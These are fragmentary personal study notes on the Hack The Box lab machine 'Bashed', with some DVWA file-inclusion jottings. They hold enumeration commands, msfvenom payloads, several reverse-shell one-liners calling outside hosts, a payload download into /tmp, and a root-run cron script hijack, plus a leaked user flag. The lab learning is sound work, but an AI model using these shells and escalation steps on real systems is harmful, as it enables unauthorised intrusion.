


# Bashed


10.10.10.68 | 10.10.16.3  
user flag: 2c281f318555dbc1b856957c7147bfc1  
2c281f318555dbc1b856957c7147bfc1

root flag:p

YouTube Video

HackTheBox - Bashed



 Bashed.pdf 357 kB



Hack The Box  
PEN-TESTING LABS



# Bashed

20<sup>th</sup> December 2017 / Document No D17.100.40

Prepared By: Alexander Reid (Arrexel)

Machine Author: Arrexel

Difficulty: **Easy**

Classification: Official

```
Scan port; 80 open
enumeration
nmap -sV -sC -oA scan1 10.10.10.68
nmap -sV -p- 10.10.10.68
directory enumeration
nikto ; scan for vulnerabilities + paths
nikto -h host address
dirb
gobuster dir -u http://10.10.10.68 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

/dev

Set up listener
nc -nlvp 5555

get to shell to hijack/upload payload
msfvenom -p linux/x86/shell_reverse_tcp LHOST=tun0 LPORT=5555 -f elf > rshell.elf
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#python

python3 -m http.server 80

cd /tmp
wget http://LHOST/rshell.elf
chmod
SEGMENTATION FAULT:
msfvenom -p linux/x64/shell/reverse_tcp -b "\x00" LHOST=1.2.3.4 LPORT=1234 -f elf -o ./payloads/linuxx64shell.elf

REVERSING SHELL
nc -lnp 8081

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

nc -e /bin/sh 10.0.0.1 1234

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```

find reverse shells in /usr/share/laudanum/php

In Reverse Shell

python -c 'import pty; pty.spawn("/bin/sh")'

python3 -c 'import pty; pty.spawn("/bin/sh")'

Find users

cd root

cat /etc/passwd

\$ sudo -l

Matching Defaults entries for www-data on bashed:

env\_reset, mail\_badpass,

secure\_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

sudo -u scriptmanager bash -i will spawn a bash shell

and give full read/write access to /scripts

look for crontab in scripts dir

scriptmanager@bashed:/scripts\$ ls -la

ls -la

total 16

drwxrwxr-- 2 scriptmanager scriptmanager 4096 Dec 4 2017 .

drwxr-xr-x 23 root root 4096 Dec 4 2017 ..

-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py

-rw-r--r-- 1 root root 12 Nov 17 16:52 test.txt

find reverse shell python

File Inclusion

dvwa

set to low security

file inculsuion tab

url..."page=xyz" delete xyz go to pwd

get server location

../..../..../..../ls (finding root)

../etc/passwd

=whoami

hydra attack

BASHED REVIEW

Nmap

dirb /dev > get to terminal

cd /tmp

wget payload for reverse shell

cd /

ls -l

all is root, but 1 thing; our attack vector; need to be scriptmanager

sudo -l

ww-data can run as scriptmanager

sudo -u scriptmanager /bin/bash

cd /scripts

ls

see .py

cat test.py

python scripts are run as root

Put code in [test.py](#) to hijack

echo "

```
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.
fileno(),2);subprocess.call(["/bin/sh","-i"])
```

take off "python -c" and change ipaddress and port